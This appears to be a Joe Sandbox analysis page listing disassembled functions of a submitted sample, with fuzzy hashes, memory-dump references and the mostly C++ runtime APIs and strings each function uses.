Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 969bd1f27c380ca0fe0f17312aa2a869313e9a2d8a48d9ba6a285e5a41b5059a
Instruction ID: cc2d0a21cb11e7eb0597f47962a0a60a2c0ddcd46f5c573c9f76aa5c95e2a07d
Opcode Fuzzy Hash: 969bd1f27c380ca0fe0f17312aa2a869313e9a2d8a48d9ba6a285e5a41b5059a
Instruction Fuzzy Hash: ADA00270611305CF57408F355B4571D3A95994559171951555409C5160DF2444549A05

Function 00B35C90 Relevance: .4, Instructions: 363COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65e4961c2a351ae55c9ed9f5451860ffb3057c4792799afaa95f12c0ff91bf3f
Instruction ID: 11bdb60ce25bec61cc0258a56868b15e7d5da15da0f9b2ad98466715bc433f16
Opcode Fuzzy Hash: 65e4961c2a351ae55c9ed9f5451860ffb3057c4792799afaa95f12c0ff91bf3f
Instruction Fuzzy Hash: 74D19C72908B409FC325DF28C841A6FBBE5FFC8704F154A6DF985AB251D730EA448B92

Function 00B41AC3 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 527fb0732a8729ff8d0d5c4a3f4b10570f7399d41cf223ced695ba9be1c4e189
Instruction ID: 894254195990a90d1e72ee8ddb0b8f1d6c3443ee6014b2ab52d935dd477a2f49
Opcode Fuzzy Hash: 527fb0732a8729ff8d0d5c4a3f4b10570f7399d41cf223ced695ba9be1c4e189
Instruction Fuzzy Hash: 88516471E00219AFDF14CF99C981AAEBBF6EF88310F198499E815AB241D7349E91DB50

Function 00B3C7E0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 43ff0dc8932839e8149798484494c5ed9f464dc0bfc3a0285be3c2ccf433761d
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 2E1108FB60018283D6088ABDD8B85B6BFD5EAC6320F3C53FAD0416B658D622EB45D700

Function 00B50C35 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1eebe2caae9b8a158f3128e1fabc652925f5f346da90b4f0161f2dbd429e670
Instruction ID: 18ab7ab0715a8ee39fd532ba6d0567128108527263444981cf35eeb664a3c050
Opcode Fuzzy Hash: f1eebe2caae9b8a158f3128e1fabc652925f5f346da90b4f0161f2dbd429e670
Instruction Fuzzy Hash: 91E04632921228EBCB28EB988944A8AB7ECEB46B01B1505DAB901E3201C270DE00D7D0

Function 00B49650 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 789eabfe958f7fbf276463b672dcd62d1ec78b8d6d636716bbce1a8341d290d8
Instruction ID: 1a26cb5493433871281b03d7ec06bafd678e5f85aecb67d9425155361aa1c5f7
Opcode Fuzzy Hash: 789eabfe958f7fbf276463b672dcd62d1ec78b8d6d636716bbce1a8341d290d8
Instruction Fuzzy Hash: C0C08C3409190046CF29A9188271BA633EAE393B83F8006CCC8030B642C52E9D86E600

Function 00B322C0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B322D2
std::_Lockit::_Lockit.LIBCPMT ref: 00B322EF
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32310
std::_Lockit::~_Lockit.LIBCPMT ref: 00B3236B
std::_Lockit::_Lockit.LIBCPMT ref: 00B323AC
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B323EF
std::_Facet_Register.LIBCPMT ref: 00B32418
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32431

Part of subcall function 00B3930A: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B39316

std::_Lockit::_Lockit.LIBCPMT ref: 00B32465
std::_Lockit::_Lockit.LIBCPMT ref: 00B3247F
std::_Lockit::~_Lockit.LIBCPMT ref: 00B324A0
std::_Lockit::~_Lockit.LIBCPMT ref: 00B324F8

Strings

bad locale name, xrefs: 00B32440

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Locinfo::_Locinfo_ctorRegisterstd::invalid_argument::invalid_argument
String ID: bad locale name
API String ID: 3096327801-1405518554
Opcode ID: 0a9cee4ae968641021cf8006b65c67e1f70b649f6ee568040760717945d52839
Instruction ID: 6ffd18698ba4db0b4cb63c5eef58855f96d15ef1d2d6f51fba07521ad2003b08
Opcode Fuzzy Hash: 0a9cee4ae968641021cf8006b65c67e1f70b649f6ee568040760717945d52839
Instruction Fuzzy Hash: 7B61B0316043018FC724DF18D881B6ABBE0EF94760F25449DE989A7352DB35ED4ACB93

Function 00B32450 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B32465
std::_Lockit::_Lockit.LIBCPMT ref: 00B3247F
std::_Lockit::~_Lockit.LIBCPMT ref: 00B324A0
std::_Lockit::~_Lockit.LIBCPMT ref: 00B324F8
std::_Lockit::_Lockit.LIBCPMT ref: 00B3253D
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B3258E
__Getctype.LIBCPMT ref: 00B325A5
std::_Facet_Register.LIBCPMT ref: 00B325CF
std::_Lockit::~_Lockit.LIBCPMT ref: 00B325E8

Strings

bad locale name, xrefs: 00B32440, 00B325F7

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeLocinfo::_Locinfo_ctorRegister
String ID: bad locale name
API String ID: 2236780835-1405518554
Opcode ID: 3ca1d2ec5a07382dc080ded8a91fbadb1e28047ef2e249f6a835114f98477650
Instruction ID: a6b99be4f14f9e0639ac971fdc014d007b8e07897d242f67ea4c5802d40a2f48
Opcode Fuzzy Hash: 3ca1d2ec5a07382dc080ded8a91fbadb1e28047ef2e249f6a835114f98477650
Instruction Fuzzy Hash: 19419D315043408FD320DF58D881B6ABBE0EFA5720F25499DE885AB352DB72ED49CB92

Function 00B32610 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B32625
std::_Lockit::_Lockit.LIBCPMT ref: 00B3263F
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32660
std::_Lockit::~_Lockit.LIBCPMT ref: 00B326BB
std::_Lockit::_Lockit.LIBCPMT ref: 00B32703
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B32761
__Getctype.LIBCPMT ref: 00B32778
std::_Facet_Register.LIBCPMT ref: 00B327CB
std::_Lockit::~_Lockit.LIBCPMT ref: 00B327E4

Part of subcall function 00B3930A: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B39316

Strings

bad locale name, xrefs: 00B327F3

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeLocinfo::_Locinfo_ctorRegisterstd::invalid_argument::invalid_argument
String ID: bad locale name
API String ID: 2137871723-1405518554
Opcode ID: 53ab0b08fb7ab406d4a1491d0bb78d6638d62fd0d9ac936733d951e558ccb6af
Instruction ID: 793ed0fcf5a128043bcff33442d7a99aca82ab235aef3bc33318f2e04b0c8034
Opcode Fuzzy Hash: 53ab0b08fb7ab406d4a1491d0bb78d6638d62fd0d9ac936733d951e558ccb6af
Instruction Fuzzy Hash: 19518E719047408FD321DF68C841B6AB7E0FF94750F25499DE8899B222EB74ED45CB92

Function 00B341F0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 128COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B34251
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B34298
Concurrency::cancel_current_task.LIBCPMT ref: 00B3435A
Concurrency::cancel_current_task.LIBCPMT ref: 00B3435F
Concurrency::cancel_current_task.LIBCPMT ref: 00B34364

Strings

false, xrefs: 00B342F2
true, xrefs: 00B34318
bad locale name, xrefs: 00B34369

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name$false$true
API String ID: 164343898-1062449267
Opcode ID: 2260107d895906909ddf4f2f541026661d2e7b1143b00faa06eaa33dbc8a9c07
Instruction ID: 82ff7568ec69b92d71999bb52a98029cb6aa23b2a6054b2b2b095b137dfd7792
Opcode Fuzzy Hash: 2260107d895906909ddf4f2f541026661d2e7b1143b00faa06eaa33dbc8a9c07
Instruction Fuzzy Hash: A341F3715453419FD320EFA4888179BBBE0FF94700F6448AEF988A7352DBB5E908CB56

Function 00B3B4BF Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00B3B4C5
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00B3B4D3
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00B3B4E4
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00B3B4F5

Strings

GetCurrentPackageId, xrefs: 00B3B4CD
GetTempPath2W, xrefs: 00B3B4EA
GetSystemTimePreciseAsFileTime, xrefs: 00B3B4D9
kernel32.dll, xrefs: 00B3B4C0

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: ec1ee926fb9550e906417ad6261088c9623f50c10404442c3ab72275ce890e7b
Instruction ID: 4d847750f43083af54118741d3990245bfef42e67faae96b4350ac32e993df0e
Opcode Fuzzy Hash: ec1ee926fb9550e906417ad6261088c9623f50c10404442c3ab72275ce890e7b
Instruction Fuzzy Hash: B2E0BF31642310EF87205BB4BD09B5A3F95AB0965730586D5B901D32B0EA7419458BE6

Function 00B3ED68 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00B3EE87
___TypeMatch.LIBVCRUNTIME ref: 00B3EF95
_UnwindNestedFrames.LIBCMT ref: 00B3F0E7
CallUnexpected.LIBVCRUNTIME ref: 00B3F102

Strings

csm, xrefs: 00B3EE12
csm, xrefs: 00B3EDA5
csm, xrefs: 00B3EEBE

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: dcc30c58403d6ef4e51317ae8ab6155cf530de577f80ce342e1e83204c765a4f
Instruction ID: 52bc14610d96308a2f8019b7e81b096770cb7cbffca7688e7e654b2caf40e52f
Opcode Fuzzy Hash: dcc30c58403d6ef4e51317ae8ab6155cf530de577f80ce342e1e83204c765a4f
Instruction Fuzzy Hash: A1B13B71C0021ADFCF29DFA8C8819AEB7F5FF54310F2441AAE8116B252D771EA51CB91

Function 00B4F5F5 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 00B4F86E

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 9dfc55c46f328d802bd4fc530ca2d801ae5b46094c3637c3f2c7dbf14f7d78cf
Instruction ID: b8dbcdbc769e5468cb4891f4f69d39122abf6a61a5e36b3110ec2a2c5b7b3bb2
Opcode Fuzzy Hash: 9dfc55c46f328d802bd4fc530ca2d801ae5b46094c3637c3f2c7dbf14f7d78cf
Instruction Fuzzy Hash: 1CB18C70E0424AAFDB11DF98C881BBD7BF1EF89300F1441A9E515AB292C7749B41EB61

Function 00B3B298 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00B3B2E1
__alloca_probe_16.LIBCMT ref: 00B3B30D
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00B3B34C
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B3B369
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00B3B3A8
__alloca_probe_16.LIBCMT ref: 00B3B3C5
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B3B407
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00B3B42A

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 4f2084278e13e9664e26385b006b03ba1bf44b6a62e89fac82fb80186b37a335
Instruction ID: d782963994cb36a71cb85b30246c5e7fca1c71d353ae18855b0e320024bf201a
Opcode Fuzzy Hash: 4f2084278e13e9664e26385b006b03ba1bf44b6a62e89fac82fb80186b37a335
Instruction Fuzzy Hash: E551B07290021AAFEF205F64CC85FAF7BEAEF44750F2545A5FA04A7299DB308D10DB64

Function 00B4CA79 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,91F9CE25,?,00B4CB86,?,?,?,00000000), ref: 00B4CB3A

Strings

api-ms-, xrefs: 00B4CAD0
ext-ms-, xrefs: 00B4CAE4

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: c24ba99270da3ecc9e48df859189e017da4ce37bae06ae2dca890e8d8565380f
Instruction ID: 0799e2778781d77066a69e148ae21836db215375978906e3c096319556ee29d0
Opcode Fuzzy Hash: c24ba99270da3ecc9e48df859189e017da4ce37bae06ae2dca890e8d8565380f
Instruction Fuzzy Hash: 0721D831A02219ABD7619B65DC86F6A7FD9DF41BA4B150190E905A72D0EB30EF00DAD1

Function 00B32990 Relevance: 9.1, APIs: 6, Instructions: 95COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B3299D
std::_Lockit::_Lockit.LIBCPMT ref: 00B329BB
std::_Lockit::~_Lockit.LIBCPMT ref: 00B329DC
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32A2C
std::_Facet_Register.LIBCPMT ref: 00B32A56
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32A6F

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Register
String ID:
API String ID: 1858714459-0
Opcode ID: b6d6890f7d9e3a7ec5b7cffdbbef08ec2fd3e32ef1d0d52dded90fdaada05d8e
Instruction ID: b1c91ba5d753d25f4ff3a6af0f2a634fdee77e695b2f659cf50f442de7fa237c
Opcode Fuzzy Hash: b6d6890f7d9e3a7ec5b7cffdbbef08ec2fd3e32ef1d0d52dded90fdaada05d8e
Instruction Fuzzy Hash: 3021B131A006159FC725EF18E88076EB7E4FF94320F2546A9E88167261DB31AD0ACBD3

Function 00B3E9FA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B3E9F1,00B3D12A,00B3C21A), ref: 00B3EA08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B3EA16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B3EA2F
SetLastError.KERNEL32(00000000,00B3E9F1,00B3D12A,00B3C21A), ref: 00B3EA81

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: f43927646e7cbd074b93c4dbe309eb4366d22b24020afb2212591c933ae099d4
Instruction ID: 9d901bbc6653fceb55b43608d5bdd7f4b70cca09dad56c3a04192973d28a8f64
Opcode Fuzzy Hash: f43927646e7cbd074b93c4dbe309eb4366d22b24020afb2212591c933ae099d4
Instruction Fuzzy Hash: E401D472519317AEA62427B4AC8577E3AD8FB05775F3003BBF524520E0FFA58D41A281

Function 00B49672 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,91F9CE25,?,?,00000000,00B5BB67,000000FF,?,00B49602,?,?,00B495D6,00000000), ref: 00B496A7
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B496B9
FreeLibrary.KERNEL32(00000000,?,00000000,00B5BB67,000000FF,?,00B49602,?,?,00B495D6,00000000), ref: 00B496DB

Strings

mscoree.dll, xrefs: 00B496A0
CorExitProcess, xrefs: 00B496B1

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: be8772f885b66a8566a4bc4220561b742a7f54d65ba23b50bce7067934620b08
Instruction ID: 76c6e31ef9468aab8e6438114401d3bb66542ba719c65716b9b462be71c1b6a7
Opcode Fuzzy Hash: be8772f885b66a8566a4bc4220561b742a7f54d65ba23b50bce7067934620b08
Instruction Fuzzy Hash: 0301A231900715EFDB019F50CC05FAEBBF9FB04B16F0542A5E811A26E0DB749D04DA94

Function 00B51C03 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00B51C8A
__alloca_probe_16.LIBCMT ref: 00B51D4B
__freea.LIBCMT ref: 00B51DB2

Part of subcall function 00B4FD7A: RtlAllocateHeap.NTDLL(00000000,?,?,?,00B3B51E,?,?,00B314CD,?,?,00B383BE,?,?), ref: 00B4FDAC

__freea.LIBCMT ref: 00B51DC7
__freea.LIBCMT ref: 00B51DD7

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

